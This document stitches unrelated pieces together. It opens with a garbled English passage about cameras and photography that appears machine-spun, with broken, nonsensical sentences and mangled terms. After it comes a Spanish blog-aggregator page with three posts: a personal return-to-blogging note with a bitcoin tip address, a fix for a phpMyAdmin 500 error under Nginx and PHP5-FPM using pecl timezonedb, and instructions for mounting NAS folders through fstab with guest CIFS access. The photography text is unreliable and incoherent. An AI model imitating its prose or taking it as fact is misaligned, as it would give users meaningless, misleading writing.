DSLR video cameras at your fingertips plus some items of taking photos tools you may take spectacular photography lovers as spring bursts into blossom.People around the globe make use of user friendly gadgets for hitting the most effective photographs of their own living.It presents more dark richer and fuller shades when minimizing glare in anything you are considering although as well enhancing all-natural coloration while you are working in sunny ailments.Internal images take time and effort to use within the older buildings because there are little doors and windows which basically absence sun light.While catching the primary photos is not any perspiration with just the snap equipment toolkit getting a handful of essential equipment might make all the difference in arresting the high high quality photographs and protecting the important expense.You’ll need a lot of persistence to make this happen and some understanding of the species but it will pay away ultimately.

Ferris wheel seems as a rounded streak of stunning hues.Without having a fantastic focus your shots will turn out seeking empty leaving behind the eye with not anywhere to rest.However remaining Cycles through.Skies and liquid looks deeper and more dark and plants and plants will be white-colored or light blue white-colored with your infrared shots.It could be a grayish or even a colorless unit.When using shots in the evening time utilizing a display normally contributes to some loss of color and a few of the attractive element from the golf shot that can make for a rinsed out uninteresting looking photograph.

Architecture taking photos will not be restricted together with the top from the setting up.Other methods that can be done without the need for.Finepix selection link marked using an.ND filter the unit helps with reducing or altering the power of all shades or wavelengths of gentle likewise while not presenting any adjustments to the attributes of shade rendition.Furthermore they must not be artwork and inventive and that means you have to do along with the collections silhouettes and glows.

This electric digital camera boasts a profound shaped fretting hand hold so that it is at ease to hold securely.Difficult scenarios or skinny sleeves offer a space saving and expense efficient way to maintain level and click digital cameras in contrast to significant situations permit top end cameras owners to retail outlet a variety of gadgets as well as the high-end camera.

Mario Oyorzábal

Mario Oyorzábal
blog – TuXsOuL

hola mundo, el regreso de mi …

Como siempre que escribimos, el inicio es lo complicado, ya hace tiempo que tenía abandonado este pequeño espacio en la red, esto dado por muchas cosas que nos absorben.

Actualmente acabo de salir de un trabajo, ya que fue mi primera vez trabajando en una empresa, como toda experiencia tiene sus pros y sus contras, pero la verdad fue muy gratificante, aprendí cosas nuevas y también conocí a mas personas, dado que no soy muy social, aunque creo que nadie me cree, pero fue un gran paso.

Como todo, mi ciclo termino en la empresa y es hora de seguir adelante buscando otro trabajo, pero ademas quiero comenzar con muchas cosas que traigo en la cabeza, proyectos, desarrollos, etc., etc.

Y también el seguir escribiendo en el blog, que por el momento parece en blanco, pero poco a poco lo volveré a llenar con todas las cosas que me gustan.

Felices Fiestas :)

La entrada hola mundo, el regreso de mi … aparece primero en TuXsOuL.
Regálele un café al autor a través de bitcoin: 16pVAeNnMKRhfsNd9AGw8ioqWxCaRAfiGS.

Sábado 12 de diciembre de 2015

José Oviedo

José Oviedo
oviedo.mx

Error 500 con Nginx+Chroot+PHP5-FPM+PhpMyadmin

Despues de hacer la instalación de Nginx y PHP5-FPM con Chroot (Jail) e instalar MySQL PhpMyAdmin la página me daba un error 500.

Investigando veo que el problema esta en la siguiente línea del archivo library/common.inc.php de PhpMyAdmin.

date_default_timezone_set(@date_default_timezone_get());

El problema está en que la función date_default_timezone_get() y todo se debe a que no se tienen los archivos necesarios para buscar la timezone del servidor, como lo muestra el log de nginx

[error] 12058#0: *13 FastCGI sent in stderr: “PHP message: PHP Fatal error: date_default_timezone_get(): Timezone database is corrupt – this should *never* happen! in /var/www/phpmyadmin/libraries/common.inc.php on line 276” while reading response header from upstream, client: 111.111.111.111, server: miservidor.com, request: “GET /phpmyadmin/ HTTP/1.1”, upstream: “fastcgi://127.0.0.1:9000”, host: “miservidor.com”

La solución es instalar la timezonedb con PHP-PEAR ( pecl ), procedemos con el siguiente código:

apt-get install php-pear php5-dev
pecl install timezonedb
echo ‘extension=timezonedb.so’> /etc/php5/mods-available/timezonedb.ini
ln -sf /etc/php5/mods-available/timezonedb.ini /etc/php5/fpm/conf.d/30-timezonedb.ini
service php5-fpm restart

Y listo!!.. ya debe de funcionar correctamente la página de PhpMyAdmin

Lunes 07 de diciembre de 2015

Óscar A. Parra V.

Óscar A. Parra V.
El Canibal » Geek

Montando unas carpetas del NAS

En el NAS tengo configurado unas carpetas con ciertos derechos de escritura y lectura, pero tengo publicas donde tengo las series y peliculas

ahora, quiero montralas en mi pi y quiero que este cada vez que reinicie la pi

Primero voy a hacer una folder en mi pi

sudo mkdir -p /media/compartido/series

lo hacemos de la misma manera para los otros folders que queramos

Ahora voy a editar el siguiente archivo fstab:

sudo nano /etc/fstab

vamos a añadir la siguiente linea:

//192.168.1.10/series /media/compartido/series cifs guest,uid=1000,gid=1000,iocharset=utf8 0 0

La primera parte es la ubicacion del drive compartido y el folder que quieres montar
La segunda parte es el folder donde lo quieres montar.
La tercera parte le indicas como lo quieres montar (cifs)
El guest le estas diciendo que no necesitas user ni password para poder entrar.
El uid y gid en 1000 hace que el usuario pi pueda hacer cambios.